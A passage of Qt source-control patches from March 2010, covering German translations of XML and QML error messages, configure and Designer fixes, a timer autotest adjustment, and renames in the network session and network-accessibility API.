appearance under non-uniform scale - + + external parsed general entity reference not allowed in DTD + in der DTD sind keine externen Entity-Referenzen erlaubt - - Unable to preserve appearance under scale of 0 - + + unparsed entity reference in wrong context + nicht-analysierte Entity-Referenz im falschen Kontext verwendet - - - QmlParser - - Illegal character - + + recursive entities + rekursive Entity - - Unclosed string at end of line - + + error in the text declaration of an external entity + Fehler in der Text-Deklaration einer externen Entity - - Illegal escape squence - + + encoding declaration or standalone declaration expected while reading the XML declaration + fehlende Encoding-Deklaration oder Standalone-Deklaration beim Parsen der XML-Deklaration + + + + standalone declaration expected while reading the XML declaration + fehlende Standalone-Deklaration beim Parsen der XML Deklaration + + + QXmlPatternistCLI - - Illegal unicode escape sequence - + + Warning in %1, at line %2, column %3: %4 + Warnung in %1, bei Zeile %2, Spalte %3: %4 - - Unclosed comment at end of file - + + Warning in %1: %2 + Warnung in %1: %2 - - Illegal syntax for exponential number - + + Unknown location + unbekannt - - Identifier cannot start with numeric literal - + + Error %1 in %2, at line %3, column %4: %5 + Fehler %1 in %2, bei Zeile %3, Spalte %4: %5 - - Unterminated regular expression literal - + + Error %1 in %2: %3 + Fehler %1 in %2: %3 + + + QXmlStream - - Invalid regular expression flag '%0' - + + + Extra content at end of document. + Überzähliger Inhalt nach Ende des Dokumentes. - - - Syntax error - + + Invalid entity value. + Ungültiger Entity-Wert. - - Unexpected token `%1' - + + Invalid XML character. + Ungültiges XML-Zeichen. - - - Expected token `%1' - + + Sequence ']]>' not allowed in content. + Im Inhalt ist die Zeichenfolge ']]>' nicht erlaubt. - - Expected type name - + + Namespace prefix '%1' not declared + Der Namensraum-Präfix '%1' wurde nicht deklariert - - Invalid use of Script block - + + Attribute redefined. + Redefinition eines Attributes. - - Invalid import qualifier ID - + + Unexpected character '%1' in public id literal. + '%1' ist kein gültiges Zeichen in einer public-id-Angabe. - - Library import requires a version - + + Invalid XML version string. + Ungültige XML-Versionsangabe. - - Expected parameter type - + + Unsupported XML version. + Diese XML-Version wird nicht unterstützt. - - Invalid property type modifier - + + %1 is an invalid encoding name. + %1 ist kein gültiger Name für das Encoding. - - Unexpected property type modifier - + + Encoding %1 is unsupported + Das Encoding %1 wird nicht unterstützt - - Expected property type - + + Standalone accepts only yes or no. + Der Wert für das 'Standalone'-Attribut kann nur 'yes' oder 'no' sein. - - Readonly not yet supported - + + Invalid attribute in XML declaration. + Die XML-Deklaration enthält ein ungültiges Attribut. - - QmlJS declaration outside Script element - + + Premature end of document. + Vorzeitiges Ende des Dokuments. - - Variable declarations not allow in inline Script blocks - + + Invalid document. + Ungültiges Dokument. - - - QmlPauseAnimation - - Cannot set a duration of < 0 - + + Expected + Es wurde - - - QmlPropertyAnimation - - Unmatched parenthesis in easing function "%1" - + + , but got ' + erwartet, stattdessen erhalten ' - - Easing function "%1" must start with "ease" - + + Unexpected ' + Ungültig an dieser Stelle ' - - Unknown easing curve "%1" - + + Expected character data. + Es wurden Zeichendaten erwartet. - - - Improperly specified parameter in easing function "%1" - + + Recursive entity detected. + Es wurde eine rekursive Entity festgestellt. - - Unknown easing parameter "%1" - + + Start tag expected. + Öffnendes Element erwartet. - - Cannot set a duration of < 0 - + + XML declaration not at start of document. + Die XML-Deklaration befindet sich nicht am Anfang des Dokuments. - - - QmlPropertyChanges - - Cannot assign to non-existent property "%1" - + + NDATA in parameter entity declaration. + Eine Parameter-Entity-Deklaration darf kein NDATA enthalten. - - Cannot assign to read-only property "%1" - + + %1 is an invalid processing instruction name. + %1 ist kein gültiger Name für eine Prozessing-Instruktion. - - - QmlVME - - Unable to create object of type %1 - + + Invalid processing instruction name. + Der Name der Prozessing-Instruktion ist ungültig. - - Cannot assign value %1 to property %2 - + + + + + Illegal namespace declaration. + Ungültige Namensraum-Deklaration. - - Cannot assign object type %1 with no default method - + + Invalid XML name. + Ungültiger XML-Name. - - Cannot connect mismatched signal/slot %1 %vs. %2 - + + Opening and ending tag mismatch. + Die Anzahl der öffnenden Elemente stimmt nicht mit der Anzahl der schließenden Elemente überein. - - Cannot assign an object to signal property %1 - + + Reference to unparsed entity '%1'. + Es wurde die ungeparste Entity '%1' referenziert. - - Cannot assign object to list - + + + + Entity '%1' not declared. + Die Entity '%1' ist nicht deklariert. - - Cannot assign object to interface property - + + Reference to external entity '%1' in attribute value. + Im Attributwert wurde die externe Entity '%1' referenziert. - - Unable to create attached object - + + Invalid character reference. + Ungültige Zeichenreferenz. - - Cannot set properties on %1 as it is null - + + + Encountered incorrectly encoded content. + Es wurde Inhalt mit einer ungültigen Kodierung gefunden. - - - QmlXmlListModelRole - - An XmlRole query must not start with '/' - + + The standalone pseudo attribute must appear after the encoding. + Das Standalone-Pseudoattribut muss dem Encoding unmittelbar folgen. - - - QmlXmlRoleList - - An XmlListModel query must start with '/' or "//" - + + %1 is an invalid PUBLIC identifier. + %1 ist keine gültige Angabe für eine PUBLIC-Id. @@ -9931,7 +10025,7 @@ Bitte wählen Sie einen anderen Dateinamen. %1 is an invalid flag for regular expressions. Valid flags are: - %1 ist kein gültiger Modifizierer für reguläre Ausdrücke. Gültige Modifizierer sind: + %1 ist kein gültiger Modifikator für reguläre Ausdrücke. Gültige Modifikatoren sind: @@ -11113,7 +11207,7 @@ Bitte wählen Sie einen anderen Dateinamen. Das Unterelement fehlt im Bereich; mögliche Unterelemente wären: %1. - + Document is not a XML schema. Das Dokument ist kein XML-Schema. @@ -11139,7 +11233,7 @@ Bitte wählen Sie einen anderen Dateinamen. Der Zielnamensraum %1 des importierten Schemas unterscheidet sich vom dem von ihm definierten Zielnamensraum %2. - + %1 element is not allowed to have the same %2 attribute value as the target namespace %3. Das Element %1 kann nicht den Zielnamensraum %3 als Wert des Attributs '%2' spezifizieren. @@ -11149,7 +11243,7 @@ Bitte wählen Sie einen anderen Dateinamen. In einem Schema ohne Namensraum muss das Element %1 ein Attribut %2 haben. - + %1 element is not allowed inside %2 element if %3 attribute is present. Wenn das Attribut %3 vorhanden ist, darf das Element %1 nicht im Element %2 vorkommen. -- cgit v0.12 From 728fbb7e078cf4fbd173fbcdab91bfaf8b591cfe Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Thu, 18 Mar 2010 16:37:28 +0100 Subject: Remove incorrect semi-colons after Q_PROPERTY --- demos/declarative/minehunt/minehunt.cpp | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/demos/declarative/minehunt/minehunt.cpp b/demos/declarative/minehunt/minehunt.cpp index 89845ef..c56590d 100644 --- a/demos/declarative/minehunt/minehunt.cpp +++ b/demos/declarative/minehunt/minehunt.cpp @@ -54,16 +54,16 @@ class Tile : public QObject public: Tile() : _hasFlag(false), _hasMine(false), _hint(-1), _flipped(false) {} - Q_PROPERTY(bool hasFlag READ hasFlag WRITE setHasFlag NOTIFY hasFlagChanged); + Q_PROPERTY(bool hasFlag READ hasFlag WRITE setHasFlag NOTIFY hasFlagChanged) bool hasFlag() const { return _hasFlag; } - Q_PROPERTY(bool hasMine READ hasMine NOTIFY hasMineChanged); + Q_PROPERTY(bool hasMine READ hasMine NOTIFY hasMineChanged) bool hasMine() const { return _hasMine; } - Q_PROPERTY(int hint READ hint NOTIFY hintChanged); + Q_PROPERTY(int hint READ hint NOTIFY hintChanged) int hint() const { return _hint; } - Q_PROPERTY(bool flipped READ flipped NOTIFY flippedChanged()); + Q_PROPERTY(bool flipped READ flipped NOTIFY flippedChanged()) bool flipped() const { return _flipped; } void setHasFlag(bool flag) {if(flag==_hasFlag) return; _hasFlag = flag; emit hasFlagChanged();} @@ -91,19 +91,19 @@ class MinehuntGame : public QObject public: MinehuntGame(); - Q_PROPERTY(QDeclarativeListProperty tiles READ tiles CONSTANT); + Q_PROPERTY(QDeclarativeListProperty tiles READ tiles CONSTANT) QDeclarativeListProperty tiles() { return QDeclarativeListProperty(this, _tiles); } - Q_PROPERTY(bool isPlaying READ isPlaying NOTIFY isPlayingChanged); + Q_PROPERTY(bool isPlaying READ isPlaying NOTIFY isPlayingChanged) bool isPlaying() {return playing;} - Q_PROPERTY(bool hasWon READ hasWon NOTIFY hasWonChanged); + Q_PROPERTY(bool hasWon READ hasWon NOTIFY hasWonChanged) bool hasWon() {return won;} - Q_PROPERTY(int numMines READ numMines NOTIFY numMinesChanged); + Q_PROPERTY(int numMines READ numMines NOTIFY numMinesChanged) int numMines() const{return nMines;} - Q_PROPERTY(int numFlags READ numFlags NOTIFY numFlagsChanged); + Q_PROPERTY(int numFlags READ numFlags NOTIFY numFlagsChanged) int numFlags() const{return nFlags;} public slots: -- cgit v0.12 From 0f500da44e87ba80dbe09c4f8b392451bf000e78 Mon Sep 17 00:00:00 2001 From: Helio Chissini de Castro Date: Thu, 18 Mar 2010 12:40:49 -0300 Subject: - Fix importdir option on unix/linux configure --- configure | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/configure b/configure index 37382ae..567261f 100755 --- a/configure +++ b/configure @@ -943,7 +943,7 @@ while [ "$#" -gt 0 ]; do shift VAL=$1 ;; - -prefix|-docdir|-headerdir|-plugindir|-datadir|-libdir|-bindir|-translationdir|-sysconfdir|-examplesdir|-demosdir|-depths|-make|-nomake|-platform|-xplatform|-buildkey|-sdk|-arch|-host-arch|-mysql_config) + -prefix|-docdir|-headerdir|-plugindir|-importdir|-datadir|-libdir|-bindir|-translationdir|-sysconfdir|-examplesdir|-demosdir|-depths|-make|-nomake|-platform|-xplatform|-buildkey|-sdk|-arch|-host-arch|-mysql_config) VAR=`echo $1 | sed "s,^-\(.*\),\1,"` shift VAL="$1" @@ -3319,7 +3319,7 @@ if [ "$OPT_HELP" = "yes" ]; then cat <] [-prefix-install] [-bindir ] [-libdir ] - [-docdir ] [-headerdir ] [-plugindir ] [-datadir ] + [-docdir ] [-headerdir ] [-plugindir ] [-importdir ] [-datadir ] [-translationdir ] [-sysconfdir ] [-examplesdir ] [-demosdir ] [-buildkey ] [-release] [-debug] [-debug-and-release] [-developer-build] [-shared] [-static] [-no-fast] [-fast] [-no-largefile] -- cgit v0.12 From b6dcc8faf73d63a281f5cd9c0ef80ef5db367532 Mon Sep 17 00:00:00 2001 From: Jens Bache-Wiig Date: Thu, 18 Mar 2010 18:36:50 +0100 Subject: Dont force height for filter widget This had some negative side effects when used in Qt Creator and since the kde icon now fits nicely without this workaround I will remove it for now. --- tools/designer/src/lib/shared/filterwidget.cpp | 7 ------- 1 file changed, 7 deletions(-) diff --git a/tools/designer/src/lib/shared/filterwidget.cpp b/tools/designer/src/lib/shared/filterwidget.cpp index 84810cb..f485346 100644 --- a/tools/designer/src/lib/shared/filterwidget.cpp +++ b/tools/designer/src/lib/shared/filterwidget.cpp @@ -162,18 +162,11 @@ FilterWidget::FilterWidget(QWidget *parent, LayoutMode lm) : // Let the style determine minimum height for our widget QSize size(ICONBUTTON_SIZE + 2, ICONBUTTON_SIZE + 2); - QStyleOptionFrame frameOpt; - frameOpt.initFrom(m_editor); - QSize adjustedSize = style()->sizeFromContents(QStyle::CT_LineEdit, &frameOpt, size, m_editor); - // Note KDE does not reserve space for the highlight color if (style()->inherits("OxygenStyle")) { - adjustedSize = adjustedSize.expandedTo(QSize(0, 32)); size = size.expandedTo(QSize(24, 0)); } - m_editor->setMinimumHeight(adjustedSize.height()); - // Make room for clear icon QMargins margins = m_editor->textMargins(); if (layoutDirection() == Qt::LeftToRight) -- cgit v0.12 From 109a8a7a06831288ba1110f8caaaf6e5dee8bfbd Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Fri, 19 Mar 2010 00:25:15 +0100 Subject: Autotest: fix instability by accepting rounding errors --- tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp b/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp index 912226d..9ea422c 100644 --- a/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp +++ b/tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp @@ -111,9 +111,14 @@ void tst_QElapsedTimer::basics() quint64 value1 = t1.msecsSinceReference(); qint64 elapsed = t1.restart(); - quint64 value2 = t1.msecsSinceReference(); - QCOMPARE(elapsed, qint64(value2 - value1)); QVERIFY(elapsed < minResolution); + + quint64 value2 = t1.msecsSinceReference(); + // in theory, elapsed == value2 - value1 + + // However, since QElapsedTimer keeps internally the full resolution, + // we have here a rounding error due to integer division + QVERIFY(qAbs(elapsed - qint64(value2 - value1)) < 1); } void tst_QElapsedTimer::elapsed() -- cgit v0.12 From 777843c18c9b62af90436ba03036027c9222eadf Mon Sep 17 00:00:00 2001 From: Aaron McCarthy Date: Wed, 17 Mar 2010 14:04:03 +1000 Subject: Rename private signal. --- src/network/access/qnetworkaccessmanager.cpp | 18 ++++++++++-------- src/network/access/qnetworkaccessmanager.h | 2 +- src/network/access/qnetworkreplyimpl.cpp | 12 +++++++++++- src/network/access/qnetworkreplyimpl_p.h | 4 ++-- 4 files changed, 24 insertions(+), 12 deletions(-) diff --git a/src/network/access/qnetworkaccessmanager.cpp b/src/network/access/qnetworkaccessmanager.cpp index 4518d4c..51c5731 100644 --- a/src/network/access/qnetworkaccessmanager.cpp +++ b/src/network/access/qnetworkaccessmanager.cpp @@ -198,15 +198,15 @@ static void ensureInitialized() */ /*! - \fn void QNetworkAccessManager::networkSessionOnline() + \fn void QNetworkAccessManager::networkSessionConnected() \since 4.7 \internal - This signal is emitted when the status of the network session changes into a usable state. - It is used to signal QNetworkReply's to start or migrate their network operation once the - network session has been opened / roamed. + This signal is emitted when the status of the network session changes into a usable (Connected) + state. It is used to signal to QNetworkReplys to start or migrate their network operation once + the network session has been opened or finished roaming. */ /*! @@ -911,8 +911,10 @@ QNetworkReply *QNetworkAccessManager::createRequest(QNetworkAccessManager::Opera // first step: create the reply QUrl url = request.url(); QNetworkReplyImpl *reply = new QNetworkReplyImpl(this); - if (req.url().scheme() != QLatin1String("file") && !req.url().scheme().isEmpty()) - connect(this, SIGNAL(networkSessionOnline()), reply, SLOT(_q_networkSessionOnline())); + if (req.url().scheme() != QLatin1String("file") && !req.url().scheme().isEmpty()) { + connect(this, SIGNAL(networkSessionConnected()), + reply, SLOT(_q_networkSessionConnected())); + } QNetworkReplyImplPrivate *priv = reply->d_func(); priv->manager = this; @@ -1222,7 +1224,7 @@ void QNetworkAccessManagerPrivate::createSession(const QNetworkConfiguration &co networkSession = new QNetworkSession(config, q); - QObject::connect(networkSession, SIGNAL(opened()), q, SIGNAL(networkSessionOnline())); + QObject::connect(networkSession, SIGNAL(opened()), q, SIGNAL(networkSessionConnected())); QObject::connect(networkSession, SIGNAL(closed()), q, SLOT(_q_networkSessionClosed())); QObject::connect(networkSession, SIGNAL(newConfigurationActivated()), q, SLOT(_q_networkSessionNewConfigurationActivated())); @@ -1249,7 +1251,7 @@ void QNetworkAccessManagerPrivate::_q_networkSessionNewConfigurationActivated() if (networkSession) { networkSession->accept(); - emit q->networkSessionOnline(); + emit q->networkSessionConnected(); } } diff --git a/src/network/access/qnetworkaccessmanager.h b/src/network/access/qnetworkaccessmanager.h index 694a54f..e3dbb40 100644 --- a/src/network/access/qnetworkaccessmanager.h +++ b/src/network/access/qnetworkaccessmanager.h @@ -126,7 +126,7 @@ Q_SIGNALS: void sslErrors(QNetworkReply *reply, const QList &errors); #endif - void networkSessionOnline(); + void networkSessionConnected(); void networkAccessChanged(bool enabled); diff --git a/src/network/access/qnetworkreplyimpl.cpp b/src/network/access/qnetworkreplyimpl.cpp index 8505a41..7fc0097 100644 --- a/src/network/access/qnetworkreplyimpl.cpp +++ b/src/network/access/qnetworkreplyimpl.cpp @@ -232,10 +232,20 @@ void QNetworkReplyImplPrivate::_q_bufferOutgoingData() } } -void QNetworkReplyImplPrivate::_q_networkSessionOnline() +void QNetworkReplyImplPrivate::_q_networkSessionConnected() { Q_Q(QNetworkReplyImpl); + if (manager.isNull()) + return; + + QNetworkSession *session = manager->d_func()->networkSession; + if (!session) + return; + + if (session->state() != QNetworkSession::Connected) + return; + switch (state) { case QNetworkReplyImplPrivate::Buffering: case QNetworkReplyImplPrivate::Working: diff --git a/src/network/access/qnetworkreplyimpl_p.h b/src/network/access/qnetworkreplyimpl_p.h index 6045ef4..fcb3397 100644 --- a/src/network/access/qnetworkreplyimpl_p.h +++ b/src/network/access/qnetworkreplyimpl_p.h @@ -99,7 +99,7 @@ public: Q_PRIVATE_SLOT(d_func(), void _q_copyReadChannelFinished()) Q_PRIVATE_SLOT(d_func(), void _q_bufferOutgoingData()) Q_PRIVATE_SLOT(d_func(), void _q_bufferOutgoingDataFinished()) - Q_PRIVATE_SLOT(d_func(), void _q_networkSessionOnline()) + Q_PRIVATE_SLOT(d_func(), void _q_networkSessionConnected()) Q_PRIVATE_SLOT(d_func(), void _q_networkSessionFailed()) }; @@ -133,7 +133,7 @@ public: void _q_copyReadChannelFinished(); void _q_bufferOutgoingData(); void _q_bufferOutgoingDataFinished(); - void _q_networkSessionOnline(); + void _q_networkSessionConnected(); void _q_networkSessionFailed(); void setup(QNetworkAccessManager::Operation op, const QNetworkRequest &request, -- cgit v0.12 From 39818f933b958d504b9cc18487658209d1df22da Mon Sep 17 00:00:00 2001 From: Aaron McCarthy Date: Wed, 17 Feb 2010 16:16:55 +1000 Subject: Don't emit open signal on session close/error. --- src/network/access/qnetworkaccessmanager.cpp | 2 ++ src/network/access/qnetworkreplyimpl.cpp | 10 ++++++++++ src/network/access/qnetworkreplyimpl_p.h | 2 ++ src/network/bearer/qnetworksession.cpp | 9 ++++----- src/network/bearer/qnetworksession_p.h | 4 +--- src/plugins/bearer/qnetworksession_impl.cpp | 19 ++++++++++--------- src/plugins/bearer/qnetworksession_impl.h | 2 +- .../auto/qnetworksession/test/tst_qnetworksession.cpp | 3 +++ 8 files changed, 33 insertions(+), 18 deletions(-) diff --git a/src/network/access/qnetworkaccessmanager.cpp b/src/network/access/qnetworkaccessmanager.cpp index 51c5731..f52eec5 100644 --- a/src/network/access/qnetworkaccessmanager.cpp +++ b/src/network/access/qnetworkaccessmanager.cpp @@ -914,6 +914,8 @@ QNetworkReply *QNetworkAccessManager::createRequest(QNetworkAccessManager::Opera if (req.url().scheme() != QLatin1String("file") && !req.url().scheme().isEmpty()) { connect(this, SIGNAL(networkSessionConnected()), reply, SLOT(_q_networkSessionConnected())); + if (d->networkSession) + connect(d->networkSession, SIGNAL(closed()), reply, SLOT(_q_networkSessionClosed())); } QNetworkReplyImplPrivate *priv = reply->d_func(); priv->manager = this; diff --git a/src/network/access/qnetworkreplyimpl.cpp b/src/network/access/qnetworkreplyimpl.cpp index 7fc0097..9ef2ed8 100644 --- a/src/network/access/qnetworkreplyimpl.cpp +++ b/src/network/access/qnetworkreplyimpl.cpp @@ -262,6 +262,16 @@ void QNetworkReplyImplPrivate::_q_networkSessionConnected() } } +void QNetworkReplyImplPrivate::_q_networkSessionClosed() +{ + if (state != Finished) { + state = Working; + error(QNetworkReply::UnknownNetworkError, + QCoreApplication::translate("QNetworkReply", "Network session closed.")); + finished(); + } +} + void QNetworkReplyImplPrivate::_q_networkSessionFailed() { // Abort waiting replies. diff --git a/src/network/access/qnetworkreplyimpl_p.h b/src/network/access/qnetworkreplyimpl_p.h index fcb3397..8e498d5 100644 --- a/src/network/access/qnetworkreplyimpl_p.h +++ b/src/network/access/qnetworkreplyimpl_p.h @@ -100,6 +100,7 @@ public: Q_PRIVATE_SLOT(d_func(), void _q_bufferOutgoingData()) Q_PRIVATE_SLOT(d_func(), void _q_bufferOutgoingDataFinished()) Q_PRIVATE_SLOT(d_func(), void _q_networkSessionConnected()) + Q_PRIVATE_SLOT(d_func(), void _q_networkSessionClosed()) Q_PRIVATE_SLOT(d_func(), void _q_networkSessionFailed()) }; @@ -134,6 +135,7 @@ public: void _q_bufferOutgoingData(); void _q_bufferOutgoingDataFinished(); void _q_networkSessionConnected(); + void _q_networkSessionClosed(); void _q_networkSessionFailed(); void setup(QNetworkAccessManager::Operation op, const QNetworkRequest &request, diff --git a/src/network/bearer/qnetworksession.cpp b/src/network/bearer/qnetworksession.cpp index cf9f4b2..d05f20e 100644 --- a/src/network/bearer/qnetworksession.cpp +++ b/src/network/bearer/qnetworksession.cpp @@ -231,7 +231,7 @@ QNetworkSession::QNetworkSession(const QNetworkConfiguration& connectionConfig, d->q = this; d->publicConfig = connectionConfig; d->syncStateWithInterface(); - connect(d, SIGNAL(quitPendingWaitsForOpened()), this, SIGNAL(opened())); + connect(d, SIGNAL(opened()), this, SIGNAL(opened())); connect(d, SIGNAL(error(QNetworkSession::SessionError)), this, SIGNAL(error(QNetworkSession::SessionError))); connect(d, SIGNAL(stateChanged(QNetworkSession::State)), @@ -308,10 +308,9 @@ bool QNetworkSession::waitForOpened(int msecs) return false; QEventLoop* loop = new QEventLoop(this); - QObject::connect(d, SIGNAL(quitPendingWaitsForOpened()), - loop, SLOT(quit())); - QObject::connect(this, SIGNAL(error(QNetworkSession::SessionError)), - loop, SLOT(quit())); + connect(d, SIGNAL(opened()), loop, SLOT(quit())); + connect(d, SIGNAL(closed()), loop, SLOT(quit())); + connect(d, SIGNAL(error(QNetworkSession::SessionError)), loop, SLOT(quit())); //final call if (msecs>=0) diff --git a/src/network/bearer/qnetworksession_p.h b/src/network/bearer/qnetworksession_p.h index 76691b3..5eef8e3 100644 --- a/src/network/bearer/qnetworksession_p.h +++ b/src/network/bearer/qnetworksession_p.h @@ -116,9 +116,7 @@ protected: } Q_SIGNALS: - //releases any pending waitForOpened() calls - void quitPendingWaitsForOpened(); - + void opened(); void error(QNetworkSession::SessionError error); void stateChanged(QNetworkSession::State state); void closed(); diff --git a/src/plugins/bearer/qnetworksession_impl.cpp b/src/plugins/bearer/qnetworksession_impl.cpp index db1759c..ddda04f 100644 --- a/src/plugins/bearer/qnetworksession_impl.cpp +++ b/src/plugins/bearer/qnetworksession_impl.cpp @@ -103,7 +103,7 @@ void QNetworkSessionPrivateImpl::syncStateWithInterface() connect(sessionManager(), SIGNAL(forcedSessionClose(QNetworkConfiguration)), this, SLOT(forcedSessionClose(QNetworkConfiguration))); - opened = false; + sessionOpened = false; isOpen = false; state = QNetworkSession::Invalid; lastError = QNetworkSession::UnknownSessionError; @@ -153,7 +153,7 @@ void QNetworkSessionPrivateImpl::open() emit QNetworkSessionPrivate::error(lastError); return; } - opened = true; + sessionOpened = true; if ((activeConfig.state() & QNetworkConfiguration::Active) != QNetworkConfiguration::Active && (activeConfig.state() & QNetworkConfiguration::Discovered) == QNetworkConfiguration::Discovered) { @@ -165,7 +165,7 @@ void QNetworkSessionPrivateImpl::open() isOpen = (activeConfig.state() & QNetworkConfiguration::Active) == QNetworkConfiguration::Active; if (isOpen) - emit quitPendingWaitsForOpened(); + emit opened(); } } @@ -175,7 +175,7 @@ void QNetworkSessionPrivateImpl::close() lastError = QNetworkSession::OperationNotSupportedError; emit QNetworkSessionPrivate::error(lastError); } else if (isOpen) { - opened = false; + sessionOpened = false; isOpen = false; emit closed(); } @@ -196,7 +196,7 @@ void QNetworkSessionPrivateImpl::stop() sessionManager()->forceSessionClose(activeConfig); } - opened = false; + sessionOpened = false; isOpen = false; emit closed(); } @@ -364,10 +364,10 @@ void QNetworkSessionPrivateImpl::updateStateFromActiveConfig() state = engine->sessionStateForId(activeConfig.identifier()); bool oldActive = isOpen; - isOpen = (state == QNetworkSession::Connected) ? opened : false; + isOpen = (state == QNetworkSession::Connected) ? sessionOpened : false; if (!oldActive && isOpen) - emit quitPendingWaitsForOpened(); + emit opened(); if (oldActive && !isOpen) emit closed(); @@ -398,7 +398,7 @@ void QNetworkSessionPrivateImpl::configurationChanged(QNetworkConfigurationPriva void QNetworkSessionPrivateImpl::forcedSessionClose(const QNetworkConfiguration &config) { if (activeConfig == config) { - opened = false; + sessionOpened = false; isOpen = false; emit closed(); @@ -416,7 +416,7 @@ void QNetworkSessionPrivateImpl::connectionError(const QString &id, switch (error) { case QBearerEngineImpl::OperationNotSupported: lastError = QNetworkSession::OperationNotSupportedError; - opened = false; + sessionOpened = false; break; case QBearerEngineImpl::InterfaceLookupError: case QBearerEngineImpl::ConnectError: @@ -426,6 +426,7 @@ void QNetworkSessionPrivateImpl::connectionError(const QString &id, } emit QNetworkSessionPrivate::error(lastError); + emit closed(); } } diff --git a/src/plugins/bearer/qnetworksession_impl.h b/src/plugins/bearer/qnetworksession_impl.h index c644174..c31e540 100644 --- a/src/plugins/bearer/qnetworksession_impl.h +++ b/src/plugins/bearer/qnetworksession_impl.h @@ -114,7 +114,7 @@ private Q_SLOTS: void decrementTimeout(); private: - bool opened; + bool sessionOpened; QBearerEngineImpl *engine; diff --git a/tests/auto/qnetworksession/test/tst_qnetworksession.cpp b/tests/auto/qnetworksession/test/tst_qnetworksession.cpp index 4b56f77..35f7ba7 100644 --- a/tests/auto/qnetworksession/test/tst_qnetworksession.cpp +++ b/tests/auto/qnetworksession/test/tst_qnetworksession.cpp @@ -628,6 +628,9 @@ void tst_QNetworkSession::sessionOpenCloseStop() QVERIFY(session.state() == previousState); + QVERIFY(sessionOpenedSpy.isEmpty()); + QCOMPARE(sessionClosedSpy.count(), 1); + if (error == QNetworkSession::OperationNotSupportedError) { // The session needed to bring up the interface, // but the operation is not supported. -- cgit v0.12 From 331ad8eb0aedb4baefcaf6f08a8e0ce440a32b06 Mon Sep 17 00:00:00 2001 From: Aaron McCarthy Date: Tue, 16 Feb 2010 09:30:38 +1000 Subject: Rename networkAccess property to networkAccessible. Add unit test and update docs. --- .../src_network_access_qnetworkaccessmanager.cpp | 9 ++ src/network/access/qnetworkaccessmanager.cpp | 106 +++++++++++++++----- src/network/access/qnetworkaccessmanager.h | 15 ++- src/network/access/qnetworkaccessmanager_p.h | 9 +- tests/auto/network.pro | 1 + .../qnetworkaccessmanager.pro | 5 + .../tst_qnetworkaccessmanager.cpp | 111 +++++++++++++++++++++ 7 files changed, 225 insertions(+), 31 deletions(-) create mode 100644 tests/auto/qnetworkaccessmanager/qnetworkaccessmanager.pro create mode 100644 tests/auto/qnetworkaccessmanager/tst_qnetworkaccessmanager.cpp diff --git a/doc/src/snippets/code/src_network_access_qnetworkaccessmanager.cpp b/doc/src/snippets/code/src_network_access_qnetworkaccessmanager.cpp index 5db6676..1853650 100644 --- a/doc/src/snippets/code/src_network_access_qnetworkaccessmanager.cpp +++ b/doc/src/snippets/code/src_network_access_qnetworkaccessmanager.cpp @@ -69,3 +69,12 @@ networkAccessManager->setConfiguration(manager.defaultConfiguration()); //! [3] networkAccessManager->setConfiguration(QNetworkConfiguration()); //! [3] + +//! [4] +networkAccessManager->setNetworkAccessible(QNetworkAccessManager::NotAccessible); +//! [4] + +//! [5] +networkAccessManager->setNetworkAccessible(QNetworkAccessManager::Accessible); +//! [5] + diff --git a/src/network/access/qnetworkaccessmanager.cpp b/src/network/access/qnetworkaccessmanager.cpp index f52eec5..8fe1857 100644 --- a/src/network/access/qnetworkaccessmanager.cpp +++ b/src/network/access/qnetworkaccessmanager.cpp @@ -173,28 +173,46 @@ static void ensureInitialized() */ /*! - \property QNetworkAccessManager::networkAccess - \brief states whether network access is enabled or disabled through this network access - manager. + \enum QNetworkAccessManager::NetworkAccessibility + + Indicates whether the network is accessible via this network access manager. + + \value UnknownAccessibility The network accessibility cannot be determined. + \value NotAccessible The network is not currently accessible, either because there + is currently no network coverage or network access has been + explicitly disabled by a call to setNetworkAccessible(). + \value Accessible The network is accessible. + + \sa networkAccessible +*/ + +/*! + \property QNetworkAccessManager::networkAccessible + \brief whether the network is currently accessible via this network access manager. \since 4.7 - Network access is enabled by default. + If the network is \l {NotAccessible}{not accessible} the network access manager will not + process any new network requests, all such requests will fail with an error. Requests with + URLs with the file:// scheme will still be processed. + + By default the value of this property reflects the physical state of the device. Applications + may override it to disable all network requests via this network access manager by calling - When network access is disabled the network access manager will not process any new network - requests, all such requests will fail with an error. Requests with URLs with the file:// scheme - will still be processed. + \snippet doc/src/snippets/code/src_network_access_qnetworkaccessmanager.cpp 4 - This property can be used to enable and disable network access for all clients of a single - network access manager instance. + Network requests can be reenabled again by calling + + \snippet doc/src/snippets/code/src_network_access_qnetworkaccessmanager.cpp 5 + + \note Calling setNetworkAccessible() does not change the network state. */ /*! - \fn void QNetworkAccessManager::networkAccessChanged(bool enabled) + \fn void QNetworkAccessManager::networkAccessibleChanged(QNetworkAccessManager::NetworkAccessibility accessible) - This signal is emitted when the value of the \l networkAccess property changes. If \a enabled - is true new requests that access the network will be processed; otherwise new network requests - that require network access will fail with an error. + This signal is emitted when the value of the \l networkAccessible property changes. + \a accessible is the new network accessibility. */ /*! @@ -792,30 +810,42 @@ QNetworkConfiguration QNetworkAccessManager::activeConfiguration() const /*! \since 4.7 - Enables network access via this QNetworkAccessManager if \a enabled is true; otherwise disables - access. + Overrides the reported network accessibility. If \a accessible is NotAccessible the reported + network accessiblity will always be NotAccessible. Otherwise the reported network + accessibility will reflect the actual device state. */ -void QNetworkAccessManager::setNetworkAccessEnabled(bool enabled) +void QNetworkAccessManager::setNetworkAccessible(QNetworkAccessManager::NetworkAccessibility accessible) { Q_D(QNetworkAccessManager); - if (d->networkAccessEnabled != enabled) { - d->networkAccessEnabled = enabled; - emit networkAccessChanged(enabled); + if (d->networkAccessible != accessible) { + NetworkAccessibility previous = networkAccessible(); + d->networkAccessible = accessible; + NetworkAccessibility current = networkAccessible(); + if (previous != current) + emit networkAccessibleChanged(current); } } /*! \since 4.7 - Returns true if network access via this QNetworkAccessManager is enabled; otherwise returns - false. + Returns the current network accessibility. */ -bool QNetworkAccessManager::networkAccessEnabled() const +QNetworkAccessManager::NetworkAccessibility QNetworkAccessManager::networkAccessible() const { Q_D(const 